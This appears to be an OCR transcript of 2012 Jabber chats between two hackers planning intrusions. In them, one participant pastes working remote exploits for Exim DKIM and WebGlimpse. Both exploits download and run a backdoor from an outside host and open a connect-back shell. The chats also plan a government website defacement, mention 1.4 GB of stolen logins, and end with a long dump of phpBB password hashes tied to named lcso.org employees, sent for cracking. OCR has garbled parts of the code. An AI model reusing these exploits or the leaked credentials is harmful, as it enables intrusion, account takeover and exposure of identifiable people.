Conversation with yohoho@jabber.ccc.de at 2/19/2012 10:50:56 PM on 
LeonDavidson@jabber.org/jabber.org (jabber) 


(10:50:56 PM) yohoho(s>jabber.ccc.de: yooyo 

(10:53:55 PM) yoboboC®jabber.ccc.de: yo 

(10:56:36 PM) leondavidson@jabber.org/jabber.org: yo fam 

(10:56:55 PM) leondavidson@jabber.org/jabber.org: fucking sick . healh int to well riht now 
(10:57:16 PM) leondavidsontSjabber.org/jabber.org: http://mibpaste.com/HRwqiz = chamber of 
commerce 

(10:57:56 PM) leondavidson(s)jabber.org/jabber.org: whats good with you? 

(10:59:56 PM) yohoho(s>jabber.ccc.de: hrmm? 

(10:59:57 PM) yobobo(s>jabber.ccc.de: ok well 

(11:00:00 PM) yobobo(s>jabber.ccc.de: I was going to pick your brain 

(11:00:08 PM) yohoho(s>jabber.ccc.de: we may need to try to tap into some Oday materials 

(11:00:14 PM) yobobo@jabber.ccc.de: to get this digital surveillance target 

(11:00:25 PM) leondavidson@jabber.org/jabber.org: ja 

(11:00:25 PM) yohoho@jabber.ccc.de: we've never been closer to getting some hot material than 
now, other than stratfor 

(11:00:27 PM) yohoho@jabber.ccc.de: 80+ spools 

(11:01:37 PM) leondavidson@jabber.org/jabber.org: mhm sorry I been away past few days, 
getting sick gain+family but i've been talkin to ppl 

(11:01:44 PM) leondavidson@jabber.org/jabber.org: looking for any ides 

(11:02:09 PM) yohoho@jabber.ccc.de: if you can take out any reference to host names, ips, or 

any other info that gives away target 

(11:02:16 PM) yohoho@jabber.ccc.de: then show that ps -aux to your people 
(11:02:20 PM) yohoho@jabber.ccc.de: we really need this box 
(11:05:08 PM) leondavidson@jabber.org/jabber.org: yup 

(11:13:53 PM) yohoho@jabber.ccc.de: what about all that research your friend had? 

(11:13:58 PM) yohoho@jabber.ccc.de: any local shit ? 

(11:28:58 PM) yohoho@jabber.ccc.de: any local shit in that research your friend stole form 
kcope? 

(11:29:08 PM) yohoho@jabber.ccc.de: do you have a copy of it? let me take a look 
(11:38:20 PM) leondavidson@jabber.org/jabber.org: theres a debian local root I showed you 
(11:38:25 PM) leondavidson@jabber.org/jabber.org: and bunch of other random research 
(11:38:26 PM) yohoho@jabber.ccc.de: had that 
(11:38:28 PM) yohoho@jabber.ccc.de: ld_audit 

(11:38:37 PM) leondavidson@jabber.org/jabber.org: I'll upload the Igb of research to new 
server 

(11:38:39 PM) leondavidson@jabber.org/jabber.org: over night 
(11:38:42 PM) yohoho@jabber.ccc.de: k 

(11:39:00 PM) leondavidson@jabber.org/jabber.org: theres some exim research in there, and as 
I recall this box had both sendmail and exim 

(11:39:02 PM) leondavidson@jabber.org/jabber.org: might be interesting 
(11:39:13 PM) yohoho@jabber.ccc.de: yes 

(11:42:14 PM) leondavidson@jabber.org/jabber.org: #!/usr/bin/python 
# Prerequisities are: # 
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# pydkim # 

# hashlib # 

# dns.resolver # 

## 

# Remote exploit for Exim dkim 4.70 < 4.76 # 

# Platform indipendet even spare # 

# Have fun with it! # 

## 

M M M M M M M M M M M M II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II 
################################################################# 

import email 

from email.MIMEText import MIMEText 

from email.MIMEImage import MIMEImage 

from email.MIMEMultipart import MIMEMultipart 

import smtplib 

import dkim 

import sys 

import time 

def evil_send(shoot, target): 
print "[*] Step 3 [*]\n" 
try: 

smtp = smtplib.SMTP(target) 

smtp.sendmail('root@' + target, 'root®' + target, shoot) 

smtp.quitO 

except Exception, e: 

print »sys.stderr, e 

try: 

smtp = smtplib.SMTP(target) 

smtp.sendmail('root@localhost', 'root@localhost', shoot) 

smtp.quitO 

except Exception, e: 

print »sys.stderr, e 

return 

def mail_magic(target, myip, myport,troj an): 

msg = MIMETextC'Please come visit us at http://www.acheapviagra.com") 

msg['Subjecf ] = "Buy Cheap Viagra" 

print "[*] Step 1 [*]" 

sign_it(msg,target,myip,myport,trojan) 

return 

def sign_it(mailin,target,myip,myport,trojan): 
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print "[*] Step2 [*]" 
selector = "root" 

execP = "${run{/bin/sh -c \"wget" + trojan + " -O /tmp/c.pl && perl /tmp/c.pl" + myip + " " + 
myport + " && sleep 10000\"}}" # nc hack 
print execP 

execP = execP.replace(" ", "\\x20"); 
print execP 
domain = execP 


execS = execP + " @" + domain 

sig = dkim.sign(mailin.as_string(),selector, domain, openC'./dkim.private.key", "r").read(), 

identity = execS) 

ownage = sig + mailin.as_string() 

evil_send(ownage,target) 

if_name_== '_main_ 

if len(sys.argv) < 5: 

sys.stderr.write('\n[*] Universal Exim DKIM exploit 4.70 < 4.76 [*]\n' + 'Usage: ' + sys.argv[0] 

+ ' host' + 'ipconnectback ' + 'portconnectback' + 'backdoortrojanurl' '\n\n') 

sys.exit(l) 

mail_magic(sys.argv[l],sys.argv[2],sys.argv[3],sys.argv[4]) 


(11:42:23 PM) leondavidson@jabber.org/jabber.org: what version of exim on this gay box/? 

(11:43:11 PM) leondavidson(a>jabber.org/jabber.org: obscure and unrelated bug: 

(11:43:14 PM) leondavidson(s>jabber.org/jabber.org: #!/usr/bin/perl 

# Remote Command Execution Webglimpse 

# We owned mi6.gov.uk with this :-) 

# Proof put this on google :) http://www.mi6.gov.uk/cgi- 
bin/webglimpse.cgi?cache=ves&ID=l&querv= 

# Glad they updated their site :-) 

# Eor all these people whos asking who we are, we are just the Man,behind the scene :> 

# Have fun with it 

# Eorthe pwnie award for most easy bug, and most epic fail by uk's gov :-) 

# Greetz: blackhats 

use EWP::UserAgent; 
sub usage { 

print "\n[*] Remote Exploit Command Execution WebGlimpse [*]\n"; 

print "[*] Usage: " . $0 . " target" . " ipconnectback " . " portconnectback remotebackdoor[*]\n" 
print "[*] Example:" . $0 . " http://192.168.1.4/cgi-bin/ " . "192.168.1.3 " . "5555 






http://blabla.com/backdoor.txtr*1\n\n": 

exit; 

} 


sub own_it{ 
my ©target; 

for($index = 0; $index < 4 ; $index++){ 
$target[$index] = $_[$index]; 

} 


$cmd= "VI". "wget -O/tmp/llcae6815dba6 ". $target[3]. "IV"; 

$cmdrun= "VI" . "perl/tmp/llcae6815dba6 " . $target[l] . " " . $target[2] . "IV"; 

$deletebackdoor = "VI" . "rm/tmp/1 Icae6815dba6" . "IV"; 
my $tricky = $target[0] . "webglimpse.cgi?ID=l&query=" . $cmd . 

"&rankby=DEFAULT&errors=0&age=&maxfiles=20&maxlines=10&maxcbars=2000&wordsp 

an=&cacbe=yes&prepatb=&insertbefore=&postpatb==&cacbe=yes&prepatb=&insertbefore=&p 

ostpatb="; 

my $runit = $target[0] . "webglimpse.cgi?ID=l&query=" . $cmdmn . 

"&rankby=DEFAULT&errors=0&age=&maxfiles=20&maxlines= 10&maxcbars=2000&wordsp 

an=&cacbe=yes&prepatb=&insertbefore=&postpatb==&cacbe=yes&prepatb=&insertbefore=&p 

ostpatb="; 

my $delback = $target[0] . "webglimpse.cgi?ID=l&query=" . $deletebackdoor . 
"&rankby=DEFAUET&errors=0&age=&maxfiles=20&maxlines=10&maxcbars=2000&wordsp 
an=&cacbe=yes&prepatb=&insertbefore=&postpatb==&cacbe=yes&prepatb=&insertbefore=&p 
ostpatb="; 

#print $tricky; 

#print $runit; 

my $ua = new EWP::UserAgent; 
print "Step 1: Injecting Backdoor \n"; 
my Sresponse = $ua->get($tricky); 

print "Step 2: Run Backdoor (Check your shell at nc listening port)\n"; 
my Sresponse = $ua->get($runit); 

print "Step 3: Delete the backdoor (After you exit from nc listening backdoor it will gets deleted 

from server :-)) \n"; 

my Sresponse = $ua->get($delback); 

} 

if ($#ARGV != 3 ) { 
usageO; 

} 

own_it($ARGV[0],$ARGV[l],$ARGV[2],$ARGV[3],$ARGV[4]); 
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(10:55:58 AM) leondavidson@jabber.org/jabber.org: yo 

(10:56:00 AM) OTR Error: You sent encrypted data to yohoho(s>jabber.ccc.de, who wasn't 
expecting it. 

(10:56:04 AM) Successfully refreshed the unverified conversation with 
yohoho (Sjabber.ccc.de/ghost. 

(10:56:04 AM) The last message to yohoho(Sjabber.ccc.de was resent. 

(11:00:40 AM) leondavidson(Sjabber.org/jabber.org: just got about 1.4 gb of user logins from 

youporn.com. includes mad .gov employees, looking for security companies 

(5:24:33 PM) yohoho(Sjabber.ccc.de: yo 

(5:33:18 PM) leondavidson(Sjabber.org/jabber.org: yo yo 

(5:33:26 PM) yohoho(Sjabber.ccc.de: JA just hit me up and was asking for your info again 
(5:33:42 PM) leondavidson(Sjabber.org/jabber.org: give him thine jabber then 
(5:34:17 PM) leondavidson(Sjabber.org/jabber.org: (11:00:40 AM) 
leondavidson(§>jabber.org/jabber.org: just got about 1.4 gb of user logins from 
youporn.com. includes mad .gov employees, looking for security companies 
(5:34:19 PM) leondavidson(Sjabber.org/jabber.org: you get that? 

(5:35:30 PM) yohoho(Sjabber.ccc.de: yes I did 
(5:35:30 PM) yohoho(Sjabber.ccc.de: intereting 
(5:35:31 PM) yohoho(Sjabber.ccc.de: also 

(5:35:41 PM) yohoho(Sjabber.ccc.de: greece busted some kids over the ministryofjustice.gr hack 

(5:35:57 PM) leondavidson(Sjabber.org/jabber.org: thats crazy / sad. read about it 

(5:36:00 PM) leondavidson(Sjabber.org/jabber.org: but im confused by it 

(5:36:14 PM) leondavidson(Sjabber.org/jabber.org: didn't you give them that? so how did 3 

random greekos got loced upf or it? 

(5:36:16 PM) leondavidson(Sjabber.org/jabber.org: locked up for it 

(5:36:21 PM) leondavidson(Sjabber.org/jabber.org: or were they random ass kids? 

(5:36:50 PM) yohoho(Sjabber.ccc.de: well 

(5:36:54 PM) yohoho(Sjabber.ccc.de: I talked to two kids total 

(5:36:58 PM) yohoho(Sjabber.ccc.de: one knew about it had nothign to do with it 

(5:37:12 PM) yohoho(Sjabber.ccc.de: the other helped a little but I pretty much just gave him 

FTP info and said let er rip 

(5:37:13 PM) yohoho(Sjabber.ccc.de: but 

(5:37:15 PM) yohoho(Sjabber.ccc.de: it is still vuln 

(5:37:19 PM) yohoho(Sjabber.ccc.de: and about to be defaced again XD 

(5:37:22 PM) leondavidson(Sjabber.org/jabber.org: yup 

(5:37:24 PM) leondavidson(Sjabber.org/jabber.org: do it up son 

(5:37:30 PM) leondavidson(Sjabber.org/jabber.org: in solidarity for those 3 getting arrested 
(5:37:31 PM) leondavidson(Sjabber.org/jabber.org: in fact 

(5:37:40 PM) leondavidson(Sjabber.org/jabber.org: say something like, the real hacker behind 
the attack is still free. 

(5:37:49 PM) yohoho(Sjabber.ccc.de: exactly 

(5:37:52 PM) leondavidson(Sjabber.org/jabber.org: and the 3 they arrested were innocent 
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(5:42:19 PM) leondavidsonCSjabber.org/jabber.org: I think we're disowning wikileaks after this 

(5:46:30 PM) yohoho(s>jabber.ccc.de: yeah I sort of agree 

(5:46:33 PM) yohoho(S>jabber.ccc.de: we can assemble our own team 

(5:46:36 PM) yohoho(S>jabber.ccc.de: to parse materials, render, deploy 

(5:46:57 PM) leondavidson@jabber.org/jabber.org: we have a team, we have good support 

system 

(5:46:59 PM) leondavidson@jabber.org/jabber.org: we can actually do a lot 
(5:47:18 PM) leondavidson(a>jabber.org/jabber.org: problem is you and I have been a bit 
dcentralized from the rest of the group, you're doing your own shit im floating around doing my 
own thing 

(5:47:30 PM) leondavidson(a>jabber.org/jabber.org: so I'm going to work with jc/elche or elche 
to seup comms 

(5:47:33 PM) leondavidson@jabber.org/jabber.org: get everybody organized again 

(5:47:39 PM) yohoho(S>jabber.ccc.de: yeah maybe we should ditch jc 

(5:47:43 PM) yohoho(S>jabber.ccc.de: the whole Chinese intelligence thing 

(5:47:44 PM) leondavidson(a)jabber.org/jabber.org: yeah 

(5:48:22 PM) yohoho(s>jabber.ccc.de: ok it's up 

(5:48:54 PM) leondavidson(s>jabber.org/jabber.org: ok nice 

(5:48:55 PM) leondavidson(a>jabber.org/jabber.org: I see it 

(5:49:05 PM) yohoho(S>jabber.ccc.de: wait for the 'official' tweet I guess 

(5:49:07 PM) leondavidson@jabber.org/jabber.org: the message says that the 3 teens are 

innocent yes? 

(5:49:13 PM) yohoho(s>jabber.ccc.de: yes 

(5:49:23 PM) yohoho(s>jabber.ccc.de: ok wait 

(5:49:26 PM) yohoho(S>jabber.ccc.de: he is still tweaking 

(5:51:07 PM) leondavidson@jabber.org/jabber.org: ok waiting 

(5:51:16 PM) leondavidson@jabber.org/jabber.org: this is actually really cool. 

(5:51:23 PM) leondavidson@jabber.org/jabber.org: what are the greeks saying about those 
arrested? its fucked up! 

(5:51:32 PM) yohoho(S>jabber.ccc.de: dunno, will have to translate 
(5:51:49 PM) yohoho(s>jabber.ccc.de: ok maybe 
(5:53:06 PM) yohoho(S>jabber.ccc.de: damnit elche taking forever 
(5:53:08 PM) yohoho(S>jabber.ccc.de: can you do this? 

(5:53:17 PM) yohoho(S>jabber.ccc.de: 'while we bum down their banks, we will burn down their 
websites' 

(5:53:19 PM) yohoho(S>jabber.ccc.de: or something 
(5:53:30 PM) yohoho(s>jabber.ccc.de: gogogo 
(5:53:55 PM) yohoho(S>jabber.ccc.de: damnit 
(5:54:31 PM) leondavidson(s)jabber.org/jabber.org: yup 
(5:54:47 PM) yohoho(S>jabber.ccc.de: bum down banks 

(6:01:30 PM) leondavidson@jabber.org/jabber.org: this nigga sounds like a fed to me 
(6:01:31 PM) leondavidson@jabber.org/jabber.org: honestly 
(6:01:37 PM) yohoho(s>jabber.ccc.de: who ? 

(6:01:39 PM) leondavidsontSjabber.org/jabber.org: how sure you are these are wikileaks? 
(6:01:46 PM) leondavidson(a>jabber.org/jabber.org: so called JA 
(6:01:55 PM) yohoho(S>jabber.ccc.de: I explained this before 
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(6:02:02 PM) yohoho@jabber.ccc.de: they confirmed a few times from @wikileaks twitter 

(6:02:12 PM) leondavidson@jabber.org/jabber.org: I dont know son 

(6:02:17 PM) leondavidson@jabber.org/jabber.org: this nigga sounds weird 

(6:02:22 PM) yohoho@jabber.ccc.de: he is being sketchy to me as well 

(6:03:08 PM) yohoho@jabber.ccc.de: yeah man I'm bout to say fuck it 

(6:03:10 PM) yohoho@jabber.ccc.de: but 

(6:03:14 PM) yohoho@jabber.ccc.de: he did agree to 2 weeks 

(6:03:18 PM) yohoho@jabber.ccc.de: that was a little more than a week ago 

(6:03:26 PM) yohoho@jabber.ccc.de: err, a little less than a week ago 

(6:03:27 PM) leondavidson@jabber.org/jabber.org: let it rock for now 

(6:05:19 PM) leondavidson@jabber.org/jabber.org: in the meantime I'm going to link up with 

elche and try to get this comms set up. we need our team to function 

(6:05:27 PM) yohoho@jabber.ccc.de: ok 

(6:05:28 PM) yohoho@jabber.ccc.de: but 

(6:05:30 PM) yohoho@jabber.ccc.de: whatever we do 

(6:05:33 PM) yohoho@jabber.ccc.de: it has to be very compartmentalized 

(6:05:48 PM) yohoho@jabber.ccc.de: not everyone needs to know about what everybody is doing 
(6:05:53 PM) leondavidson@jabber.org/jabber.org: yup 

(6:06:26 PM) leondavidson@jabber.org/jabber.org: we might have to do things on levels, our 

core core group be in one chan, secondary people be on another comms or another chan, or 

affiliates be segregated completely 

(6:06:47 PM) yohoho@jabber.ccc.de: yeah I agree 

(6:06:50 PM) yohoho@jabber.ccc.de: need to get off cryto 

(6:06:53 PM) leondavidson@jabber.org/jabber.org: yup 

(6:24:24 PM) leondavidson@jabber.org/jabber.org: these guys are amatuers 

(6:24:31 PM) leondavidson@jabber.org/jabber.org: get social engineered like a bunch of virgins 

(6:24:47 PM) leondavidson@jabber.org/jabber.org: (6:23:36 PM) 

ardeditor@jabber.ccc.de: Just yesterday the editor ran another huge story wipping 

up a war with iran over the IAEA and an even larger personal attack against JA 

(6:24:14 PM) leondavidson@jabber.org/jabber.org: so you aren't JA. who are you? 

(6:24:49 PM) leondavidson@jabber.org/jabber.org: teeee 

(6:24:52 PM) leondavidson@jabber.org/jabber.org: hee 

(6:25:30 PM) yohoho@jabber.ccc.de: yes he did the same thing to me 

(6:25:42 PM) yohoho@jabber.ccc.de: " 

4:37 

ardeditor @ jabber.ccc.de 
4:37 

there's an extremely serious matter in there about assange" 

(6:25:45 PM) yohoho@jabber.ccc.de: liek wtf 

(6:25:47 PM) leondavidson@jabber.org/jabber.org: lol 

(6:26:29 PM) yohoho@jabber.ccc.de: hey also 

(6:26:32 PM) yohoho@jabber.ccc.de: we have more hashes for you 

(6:26:34 PM) yohoho@jabber.ccc.de: from Icso 

(6:26:36 PM) yohoho@jabber.ccc.de: that need cracked... phpbb 

(6:26:41 PM) yohoho@jabber.ccc.de: nerdlife@jabber.ccc.de 
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(6:28:47 PM) yohoho@jabber.ccc.de: ok 
(6:28:48 PM) yohoho@jabber.ccc.de: here 
(6:28:58 PM) yohoho@jabber.ccc.de: 

it@lcso.org,$H$9ivgYpzlBZtQJSJezPLuZt4EmFD6pf.,administrator 

steve.spears@lcso.org,$H$97pdFhmMm.n6SN9NU9Z/iox4/YpaJC/,1703 

darryl.Connelly @ lcso.org,$H$9DkYYCOMkH/sv97Nu5nB sQbov7B Quy., 373 

larry.wade @lcso.org,$H$9.qfvnu9XztOqSwRhwPrdYIx6urMoz 1,290 

todd.english@lcso.org,$H$9z381kQcwbk3pqxhzBzVks2575BRC/.,955 

tom. Willis @ lcso.org, $H$9UTC WGqW5 AySEqt7 YKpT. 6taqMe9rH 1,901 

eric.clark@lcso.org,$H$94flCYsKRhiPifCpkggu4y9smcN3tzl,1587 

j ay. gibbons @ lcso.org,$H$9Dyt22vf. VT.DgshZbXKCPbsdfl 1 uS., 1511 

jesse.james@lcso.org,$H$9OquKy4geEEEsWhEIRBpVTDoWw7eoz0,1590 

duane.mohr@lcso.org,$H$9wWIJC4DedcIR.rllngIWDI7IH6kER/,1639 

eugene. arnold @ lcso.org, $H$9/L10mCPo0r0Lg6yf66LOstadj Slf81,1908 

bob.baldeck@lcso.org,$H$9JpM..PX/kyVW3Lnr7/Qt.MtHIXe9w.,1768 

david.mcdaniel@lcso.org,$H$9wfE2RW/bgki4HIMB4D27enBXJNAEJl,647 

evan.rosenstein@lcso.org,$H$9R9T57nWOQL91DP2qrtbOowYg3saqwl,1291 

jeremy.lucroy@lcso.org,$H$9pcNppma40.tmu8s2AuYVQf7eVW4Pgl,1681 

tom.goring@lcso.org,$H$9jvP6O/StWAh5QRZfHlUOQC5Odwejl0,107 

seth.luppino@lcso.org,$H$974.rap7nV.Abm/.l.qgKCzlA8Th76.,1825 

diane.carter @lcso.org,$H$9cHyf9u0hMmvkgj V3Z8TviEVpOwez51,1689 

charna.kelley@lcso.org,$H$9vigOmoh9PYflyfPqNAAI.5fRKRcW3.,2006 

corey.pendergraft@lcso.org,$H$9rPZwD2KBlbdIzzRZTrvCEZGMe25Cs0,1783 

bill.reed@lcso.org,$H$9qRS0JumoovLHxNdJfmz35m4BKUTEH/, 1119 

richard.tart@lcso.org,$H$9rjT5TbYQURDt/vqR4JQW8GeGOPKd/0,2057 

willis.carter@lcso.org,$H$9sz4nA0/8m.K/HNmGbpJSh2LzkH//70,654 

roy.dobbs@lcso.org,$H$9iKY.e82ElVS97fkcSigB2HV//k.n71,530 

jason.mccormick@lcso.org,$H$9wfLPDgqzyz8aEUOMb.kLNcM42saId.,1419 

david.marden@lcso.org,$H$9pCoI5Y7/IyoJMzDgcAKDG5b7NrqjC0,1794 

linda.green@lcso.org,$H$9w6zVBa.f9Ue8s5mybmQRxaoeAzGn5/,582 

thomas. mckane @ Icso. org, $H$9QB Par. n2FfRoMgyfDl YZbj CHemhRK. ,840 

cameron.crews@lcso.org,$H$9nXCUPeDGlrAWOfr2/5vFOfusOotbPO,1517 

robin.monkman@lcso.org,$H$9xkfrhJDJRnpWaXMXpgynQactsiQ.B.,1339 

chris.berry@lcso.org,$H$9Zc5TSRVya41Lrum.vGkoQRlbbMYXil,437 

wayne.longo@lcso.org,$H$9ENx3YVhXV.YFHGuH6QI2d9Q9icgHu0,12 

james.dilimone@lcso.org,$H$9YKsWtS9UQVn808.qgxmBHmexSkqLW.,1150 

Jonathan. teeter@lcso.org,$H$91FoHyRxlqTtHDJtUSma4X7EFkZlaZ.,2140 

michael.marden@lcso.org,$H$9wnwePafpPlYJTZwGj6TZYvuB9LulO/,1545 

eugene.cusie@lcso.org,$H$97OsW48eLVlAca81D5seDkbx9HsC.Z/,2098 

mike.goss@lcso.org,$H$9SbefAOgnMOWMdxCmEAXgHGGMFz75s/,669 

mike.hauss@lcso.org,$H$9/xa2glcTTaVglwufOmMsoSOWCSpTLl, 1600 

michael.baker@lcso.org,$H$93R7U01G8sIodBeugJqGuojckyV4mal,470 

david.causey@lcso.org,$H$9SwfACE305filDGoJSn22PLKM5uII0.,1265 

rusty.stewart@lcso.org,$H$9qvFIzvwrH.m6Y6DiYiGZKqnWlI67J/,99 

tony.gainey@lcso.org,$H$9XbPMlcqrnh/HdPaWW lttez/pp3roB 1,888 

mimi.williams@lcso.org,$H$93WAykliduOaDnbuzrbEltSSZ62hX51,1535 
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pamela. warren@lcso.org,$H$97eWRkooODEujQxdYQ001W.D63LvF7/, 1143 

mark.demers@lcso.org,$H$945akLwDZxxvFwNbrnZ6KejiSglThI0,535 

david.pelton@lcso.org,$H$9pod/bcBS/FRihxx92updYKBGOZ6AP/,533 

richard.winn@lcso.org,$H$9Gv0NUqvdds0U2RsRglpsp3nakMMs3/,935 

richard.palmer@lcso.org,$H$9RDY/ibDVF6iCPsdhCTPNUNUYGkEYQ/,823 

niichael.urban@lcso.org,$H$92FWagAQVG/IUalteck8C910wDkold/,805 

NUFF,NUFF,YahooSeeker [Bot] 

shannon.harvey@lcso.org,$H$9CHXnoP0Mslaay6t74IVUjl0XzNFC40,1269 

christopher.spann@lcso.org,$H$9S6zJpUlCu6HV9o7dYK2anESoOniKial,1811 

anianda.wolford@lcso.org,$H$9DEYbGhvWq9arUZoHdiEBX8TvC4nXd.,2016 

jessica.yearwood@lcso.org,$H$9Uiffa.D7HH3/a91oRniTYd48HOtRir.,1936 

raymond.rice@lcso.org,$H$9RNDrGF/DGn2GGlTlYhsIDqKSVGq2bl,1772 

peter.niendoza@lcso.org,$H$91K10srO/OG2k9t.uaB.8/gk5/oUDfO,1571 

toby.farmer @lcso.org,$H$9qcoFyeGQF2f5jrfiIe4fCG464NxrQl, 1234 

jarrod.strickland@lcso.org,$H$9I6601HEiSH7A6BG2/lYemG/r7sxxD.,1638 

sheila.dale@lcso.org,$H$93FDRFRYM7R0WR8p7niFukFGOO6mVA10,1475 

shawn.lukens @lcso.org,$H$9/Z3ooMsTwrZMWe/E91BF7VbrbJnlN/, 1422 

shawn. deckard @ lcso.org, $H$9K. K2kUMv3rotGuyPgc YRi 1 ae. htfd 1,1722 

mike.bond@lcso.org,$H$9FRxMu6G/Pu/BZ41HEKC.JQHcudrbG0,1482 

chris .robertson @ lcso.org, $H$940PB KQ/u996f6niQ6Thf 1 vlO/. hj Kq/, 1521 

daneen.hon@lcso.org,$H$953KBo8DjpcTlrp4fK9HPVGUrtRynFl,165 

dwight.pickens @lcso.org,$H$9UPKfoERWDYEuF.vDRmYzTtS VIBzd91,1542 

gerald.green@lcso.org,$H$9eMhhb/OutRfSzq3TklDZNqETgtJ7r/,1477 

richard.blanchard@lcso.org,$H$9PyXjt8NBlf5WAWhPwrAYyYn2QP9tf0,1494 

ryan.castillo@lcso.org,$H$9vGfO5n.uniyhYqBoBmirUE6zTf0F8Al,2104 

christina.stockett@lcso.org,$H$9Vgs6iOI9yCFXFWwCt5ApBrIONq7KGO,2173 

gary.gutierrez@lcso.org,$H$9hlMPc5kKGN/8yp059F4siFZbl7DrH/,2067 

tini.potter@lcso.org,$H$9s.XxWIV.2FwUo.pCjFzD04.EijK/i0,790 

niichael.yoho@lcso.org,$H$9Uk0JYKwZD.Wfi8GiJ.iaJy/7U0Mki.,1740 

niaribel.caniino@lcso.org,$H$9yheCCnolD3FiTTU.VZRdGJeO76ncu/,2084 

robin, meachum @ Icso. org, $H$9fy AqY eal3 OpuPgB voF5 WJr4Fwg 1 FI 1,1166 

ronald.broomes @lcso.org,$H$9GKSuJEoXdlEEhatF/HuPceQQiZGK./, 1431 

jennifer.lee@lcso.org,$H$96iXaKDrMNwyTly6ZtVqNf7I6NYpOj 1,1491 

yancy.isaacs@lcso.org,$H$9WlHUNTqiaBa0cdIjDzV80plQC5kknil,1227 

kurt.nieniann@lcso.org,$H$9HDdoKDfG.uniVpZC/OH38PKybHJVkn.,914 

jason.dorrier@lcso.org,$H$9FohB.2.tfVs759exbvEmXi9gDFaae.,1680 

michael.dollery@lcso.org,$H$9R5CilEtJ07TNxah0D6DDet8AnhX/al,1807 

eddie.aguilar@ lcso.org, $H$9ud8hpd8FY fKAOHoc 1 Y3kU09BIeyKx/, 1385 

john.neiman@lcso.org,$H$9zsJYRGzHniUrVdiJ7fbRga92JKFYlt0,742 

pati.kersey@lcso.org,$H$9U95/Faniqqua/uXR3MkA59BFkj4bdx/,774 

charles.robbins@lcso.org,$H$942VyQ.RQhB5UYM/eIK3gYFFZDXUCj/,1203 

jininiy.walker@lcso.org,$H$9C612HF.iENXla2ZAxZBYNc3dqyPCOO,1399 

brian.worfel@lcso.org,$H$9.tCFkOychaCU6Jexjzzz2nioBMDK3u/,600 

ken.lane@lcso.org,$H$9JnivejzEFtoKMP50rP5uzzdXlZJkUtO,481 

scott.fitzgerald@lcso.org,$H$9kxHsRxoR6AQ7FAxqceSdZFnWqqg2S/,1741 

jack.frost@lcso.org,$H$9YFNegMVXg8Fcl73noFgKScgqlGH2S 1,857 
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matt.donnelly@lcso.org,$H$9W8BsRE8JKvlWK7GtkL9ZyLTiIdK880,1154 

robert.boyle@lcso.org,$H$9Vu27Iok0HDolFLaFpuLV2ou0I8g8O/,1712 

gabriel. white @lcso.org,$H$9VepYLk6Cv.KwMrjLCae2rKqZl TLgB., 1903 

tammy .peshek@lcso.org,$H$91jOOkpRDHzBqT5ptXY8.BWNZhNzo/0,2077 

joshua.cheney@lcso.org,$H$9187KQHkZbCjpb4yIJDTB2G10ZtkNDl,1939 

ephrom.branton@lcso.org,$H$9ZfLroeLrkYVUyux/buNTBzgFNX/HsO,59 

travis.jicha@lcso.org,$H$9mDSKreThzw6V12ojPsIEZalHTNXPp/, 1812 

scott.lenninger@lcso.org,$H$9Hxm/kyTd77sl/AggRcqa4V8vNMmqN0,1256 

scott.ledford@lcso.org,$H$9w8Qav3KTZ0fj//kghUEMM01mHSo3z0,1774 

john.caston@lcso.org,$H$9oPO.16MhWplTTYFEBWgUfsUvZbZG41,1106 

lynn.dewitt@lcso.org,$H$9blVmXQ5HucWO/bXtiYllFZ06chB0y0,131 

alex.willits@lcso.org,$H$9cUyh751YLiwXCQgFiEwT6JkBvAB4B.,1556 

gusty.berry@lcso.org,$H$9BoX5yL70Skl2w76ABFe8idpQaGr/Gl,1403 

james.vachon@lcso.org,$H$9LWOEilxlJY5FhJmndw01.FhwB9elz0,678 

joe.schlabach@lcso.org,$H$9Nyw9cw7Lub3zi/qLZPGP93MNJ0kpk.,747 

john.meeks@lcso.org,$H$9vrPF3Ae421Vpl9HQ8R2bw.WXnhcpm0,476 

evan.bailey@lcso.org,$H$9rfeGAm.lOsFkUShABWlBSYOYqapCw.,1915 

brian.weddle@lcso.org,$H$92ikzl8D10GPBMdLN/f09zB620CEth.,1343 

karen.worfel@lcso.org,$H$9vSThW3rNR9fqdxtzC7seYX3klBszu/,155 

john.o'connor@lcso.org,$H$907.1i6N5VNxlmcOwT73F8jNL4B.b/.,1369 

dan.conlee@lcso.org,$H$9UMgOdWoOmqOeHRrnAlxDZZlDPEOsK.,556 

chuck.theobald@lcso.org,$H$9hMAEmLYGDsQhgk44fY/aJRTC8pfa5/,63 

james.lewis@lcso.org,$H$9ZeeE2aiSvnEs5LUQhRBllvZZ0doaZ/,86 

craig.willis@lcso.org,$H$95A24HX7/6xvondXcsSUbHvnMshfCv0,101 

donald.king@lcso.org,$H$9kKPDuPN3Gz/RFhBgjPHilVe7vCLMZ/,456 

marcus .walker @ lcso.org, $H$9Fcks .7 9fUp01 cgzLP7q.fRodmrp/ll ,2020 

william.crotty@lcso.org,$H$9JpkSG8gNWhwKwPLrzAEAaeTXyWl/Y0,1390 

kristina.mcgovern@lcso.org,$H$9DWNBAQq28umfJqynSv7k.fppZZdQ90,1864 

william.tabor@lcso.org,$H$91jSZOHDJD.xwOQOujrce3QwPvYp/3.,1228 

mike.miranda@lcso.org,$H$99bMfpH/AmyyZrG4YUjZdP4eMLQGep/,458 

grace.o’toole@lcso.org,$H$9S2XR2AEVUTupcXsCU75wkPBO8upcDl,2085 

jennifer.forst@lcso.org,$H$9AKiMQ03Duts2wd94iR/iwOhfHX3.J0,1685 

denise.cusson@lcso.org,$H$9YrOy0E5xKRplgU04/We6ai0XXRXXJ/,1540 

patty.dickerson@lcso.org,$H$9Jh.KHFa6WlQWulXA18VlLOwxQtl.T/,34 

barbara.melgers@lcso.org,$H$9wf2izWj9uNNDypWQPmu6T3jT8/Fyl.,148 

jodi.bowlin@lcso.org,$H$9CLnihrZffdMwRglRfKIKoasl833E2.,1438 

amy.bisbo@lcso.org,$H$94AQKjxWZMhkoobvXE6FxUQM16zilD.,614 

amber.warren@lcso.org,$H$9mEFQ3PFrTndjJWJFvthkJtfqBA4.a.,1382 

michael.miller@lcso.org,$H$9mhkcdAUCFtJ0sMjJ5.JzcPLYW13A6/,1537 

haley.alexander@lcso.org,$H$9FgvONyzYUGjHXzZWHWqsEAv2YTAkl,1754 

clay.watkins@lcso.org,$H$96vlf0GLJcDDk7e9X61NQb76.11zDFl,209 

brad.leafers@lcso.org,$H$9XXazwkmJEOK96Y/rqnnj9P79ojg9z/,1384 

jeff.taylor@lcso.org,$H$9WbxyJpiMoEWmt4sgtgRSsjUj8AF2Jl,548 

